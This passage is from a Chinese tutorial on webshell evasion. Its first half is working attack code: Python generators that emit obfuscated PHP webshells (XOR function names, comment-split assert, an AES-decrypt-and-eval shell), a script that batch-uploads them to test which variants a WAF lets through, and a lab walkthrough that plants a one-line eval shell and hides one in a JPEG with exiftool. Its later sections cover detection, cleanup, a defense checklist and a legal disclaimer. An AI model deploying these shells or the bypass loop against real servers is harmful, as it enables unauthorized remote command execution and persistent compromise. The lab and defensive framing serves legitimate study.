    b = bytes(x ^ y for x,y in zip(a, target))
    a_s = ''.join(f'\\x{c:02x}' for c in a)
    b_s = ''.join(f'\\x{c:02x}' for c in b)
    return f'<?php $f=("{a_s}"^"{b_s}");$f($_POST["cmd"]);?>'

def gen_comment_split():
    return '<?php $f="assert";$f /*x*/(/*y*/$_POST["cmd"]/**/);?>'

def gen_aes_shell():
    return (
        '<?php $k="0123456789abcdef";$i="abcdef0123456789";'
        '$d=openssl_decrypt(base64_decode($_POST["d"]),"AES-128-CBC",$k,OPENSSL_RAW_DATA,$i);'
        'if($d!==false)eval($d);?>'
    )

GENERATORS = {
    'variable_function': gen_variable_function,
    'concat': gen_concat,
    'callback': gen_callback,
    'base64_funcname': gen_base64_funcname,
    'xor': gen_xor,
    'comment_split': gen_comment_split,
    'aes_shell': gen_aes_shell,
}

if __name__ == '__main__':
    import sys
    name = sys.argv[1] if len(sys.argv) > 1 else 'all'
    if name == 'all':
        for n, g in GENERATORS.items():
            print(f'--- {n} ---')
            print(g())
            print()
    else:
        print(GENERATORS[name]())

批量混淆与WAF绕过测试

把生成器输出的所有变体依次发给WAF,记录哪些被拦截、哪些放行,就是一次自动化的WAF绕过测试:

python 复制代码
# waf_test.py - 批量WAF绕过测试
import requests
from obfuscator import GENERATORS

WAF_URL = 'http://waf-target/upload.php'   # 授权靶场

def test_one(payload, name):
    try:
        files = {'file': ('test.php', payload, 'application/octet-stream')}
        r = requests.post(WAF_URL, files=files, timeout=5)
        blocked = r.status_code == 403 or 'blocked' in r.text.lower()
        return 'BLOCKED' if blocked else 'PASSED'
    except Exception as e:
        return f'ERR {e}'

if __name__ == '__main__':
    print(f'{"variant":20} {"result":10}')
    print('-' * 32)
    for name, gen in GENERATORS.items():
        payload = gen()
        res = test_one(payload, name)
        print(f'{name:20} {res:10}')

完整自动化免杀框架结构

一个成体系的免杀框架通常包含:

  • 编码层:Base64换表、ROT13、异或、AES、Gzip,可叠加
  • 混淆层:变量函数、字符串拼接、回调、注释插入、自增
  • 模板层:管理工具(蚁剑/冰蝎/哥斯拉)的自定义通信模板
  • 流量层:UA轮换、Cookie传参、分块、multipart伪装
  • 文件层:图片马、.htaccess、ADS、时间戳伪造
  • 验证层:自动发送到靶场WAF,记录拦截结果
  • 报告层:输出哪些变体被拦、哪些放行,给红蓝双方参考

【提示】 自动化框架的价值不在于"绕过WAF做坏事",而在于让蓝队能批量验证自己的WAF规则是否覆盖到位。一个生成器跑下来,蓝队立刻知道哪些免杀形态自己还没覆盖,这是补规则的依据。

十一、靶场实战:Webshell攻防全流程

把前面的技术串起来,在靶场里走一遍完整流程。

靶场环境搭建

用Docker快速搭一个带WAF和漏洞应用的靶场:

bash 复制代码
# 一个模拟环境:DVWA + ModSecurity
# 1. 拉起带漏洞的应用
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

# 2. 拉起ModSecurity WAF(反向代理到DVWA)
docker run -d -p 80:80 --name waf \
  -e PARANOIA=1 \
  -e BACKEND=http://dvwa:80 \
  --link dvwa:dvwa \
  owasp/modsecurity:nginx

# 3. 准备攻击机:安装蚁剑、冰蝎、Python+requests

环境准备好后,DVWA在8080(直连),WAF在80(带规则)。同一个Payload分别发到两个端口,对比WAF拦截效果。

从上传到免杀的完整流程

步骤1,确认上传点。DVWA的文件上传漏洞允许上传PHP文件,先用原始一句话试:

php 复制代码
<?php @eval($_POST['cmd']);?>

带WAF的场景下,这个必然被拦(关键字+流量双重命中)。

步骤2,上文件层免杀。改名+改扩展名+图片马,绕过基于文件名的检查:

bash 复制代码
# 把一句话塞进图片
exiftool -Comment='<?php $f="as"."sert";$f($_POST["cmd"]);?>' normal.jpg -o shell.jpg

配合DVWA的文件包含漏洞,include('shell.jpg') 触发执行。

步骤3,上流量层免杀。换AES加密通信型Webshell,Body全程密文,绕过流量关键字检测。配合蚁剑自定义编码器,把默认Base64换成AES。

步骤4,验证。蚁剑连上,执行命令。如果WAF在80拦截了,回到生成器换变体重试,直到找到能放行的组合。这个"试-改-试"的循环就是免杀实战。

WAF绕过实战演示

一个典型绕过链:原始一句话被拦 -> 改成变量函数变体,文件层过了但流量被拦 -> 上AES加密,流量过了但文件语义被检 -> 加注释插入和换表Base64,最终全过。每一步对应一个检测层,每加一层免杀对应突破一层检测。

检测与清除演练

攻完后切到蓝队视角,演练检测清除:

  1. 文件层:用YARA+NeoPI扫描Web目录,找出高熵和匹配特征的文件
  2. 流量层:看Suricata告警,找异常POST和高频外联
  3. 行为层:查auditd日志,看 www-data 是否执行了不该执行的命令
  4. 清除:删Webshell文件、查同目录是否有图片马、查 .htaccess/.user.ini 是否被改、查是否有内存马(重启验证)、修复上传漏洞根因

【提示】 清除Webshell不是删文件就完事。要查它是怎么进来的(上传漏洞、反序列化、包含漏洞),根因不修,删完马上又会被种回来。

十二、总结与参考资源

免杀技术演进路线图

Webshell免杀的演进,本质是"藏得越来越深"。一条清晰的路线:

  • 第一代,明文一句话:eval($_POST),特征极强,秒被杀
  • 第二代,关键字混淆:变量函数、字符串拼接,过规则
  • 第三代,编码加密:Base64换表、AES加密,过流量
  • 第四代,流量伪装:业务化参数、分块、multipart,过语义
  • 第五代,无文件内存马:Filter/Listener注入,过文件扫描
  • 下一代,AI对抗:生成对抗、对抗样本,挑战AI检测

每一代免杀都对应一代检测升级:规则->语义->流量特征->行为审计->AI模型。攻防始终螺旋上升,没有终点。

检测防御检查清单

  • Web目录是否建立文件完整性基线并定期比对
  • 是否部署WAF且规则库保持更新,覆盖菜刀/蚁剑默认特征
  • 是否有语义分析能力,而不只是关键字匹配
  • 是否对Web进程做行为审计(auditd/HIDS),监控execve异常
  • 是否监控Web目录文件变化(inotify)
  • 是否有流量审计,记录所有POST请求和响应
  • 是否定期排查内存马(运行时Filter/Listener枚举、重启验证)
  • 是否对上传做严格校验(类型、大小、内容、存储隔离)
  • 是否禁用危险函数(evalassertsystemexec 可禁则禁)
  • 是否有应急响应SOP,能在发现Webshell后快速定位入口并根因修复

工具速查表

用途 工具 说明
Webshell管理 蚁剑 / 冰蝎 / 哥斯拉 红队作业,蓝队研究流量
文件检测 YARA / NeoPI / ClamAV 特征+统计扫描
流量检测 Suricata / Zeek 实时流量匹配
行为审计 auditd / OSSEC / Wazuh 进程与文件行为
JVM排查 arthas / HSDB / jmap Java内存马排查
自动化测试 自研生成器 批量验证WAF规则
靶场 DVWA / WebGoat / Vulhub 授权演练环境

参考资源

  • OWASP Web Shell 文档:Webshell检测与防御的官方指引
  • NeoPI 项目:基于统计的Webshell扫描
  • YARA 规则文档:文件特征匹配语法
  • Suricata 用户指南:流量检测规则编写
  • 蚁剑/冰蝎/哥斯拉开源代码:研究流量特征的一手资料
  • Apache/PHP/Tomcat 官方安全配置指南:禁用危险函数、最小权限

合规与责任声明

本文所有代码、命令、配置仅用于授权渗透测试、CTF比赛、企业内部红蓝对抗演练和安全教学研究。文中技术不得用于任何未授权的真实系统。在任何真实目标上使用文中技术前,必须满足以下全部条件:

  • 已获得目标所有者的书面授权
  • 已明确测试范围与时间窗口
  • 已评估对生产系统的影响并制定回滚方案
  • 操作过程全程留痕,便于事后审计

作者不为任何将本文技术用于非法用途的行为承担责任。读者应遵守所在国家/地区关于网络安全与数据保护的法律法规(如《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关刑法条款)。学习攻防技术的目的是为了更好地防御------理解攻击手法,才能把防御做扎实。

相关推荐
Bruce_Liuxiaowei1 小时前
安全意识培训——大模型在安全培训中的创新应用
人工智能·安全·ai·智能体
QXWZ_IA2 小时前
化工园区安全定位如何做合规审查?
安全
志栋智能2 小时前
超自动化安全如何提升合规与审计效率?
运维·安全·自动化
新鲜势力呀3 小时前
Anthropic 网络安全技能实战应用指南
安全·web安全
00后程序员张3 小时前
SSL Pinning 抓包抓不到明文?绕过证书固定的几种方案
网络协议·计算机网络·网络安全·ios·adb·https·udp
阿巴斯甜4 小时前
Android SharedMemory 详细使用
android
sun0077004 小时前
android的dns的常见错误resolv
android
小小龙学IT4 小时前
现代 C++ 内存管理与资源安全深度解析:从 RAII 到所有权模型
c++·安全
恋猫de小郭5 小时前
Flutter A2UI 的正确用法,怎么把 AI 和动态 UI 结合有效生产
android·前端·flutter